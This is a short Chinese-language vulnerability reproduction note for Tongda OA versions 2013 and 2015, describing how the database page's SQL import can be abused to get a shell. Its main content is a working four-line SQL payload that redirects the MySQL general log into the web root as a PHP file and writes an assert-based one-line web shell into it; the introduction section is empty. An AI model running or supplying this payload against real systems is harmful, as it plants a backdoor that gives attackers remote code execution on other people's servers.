通达oa 数据库脚本导⼊getshell

一、漏洞简介

二、漏洞影响

2013、2015版本

三、复现过程

⾥面的database⻚面可以导入sql脚本文件,但是系统过滤了很多,有很多的限制,使⽤mysql日志的方式进行 突破。

set global general_log = on;
set global general_log_file = '../webroot/test.php';
select '<?php assert($_POST[a]) ?>';
set global general_log = off;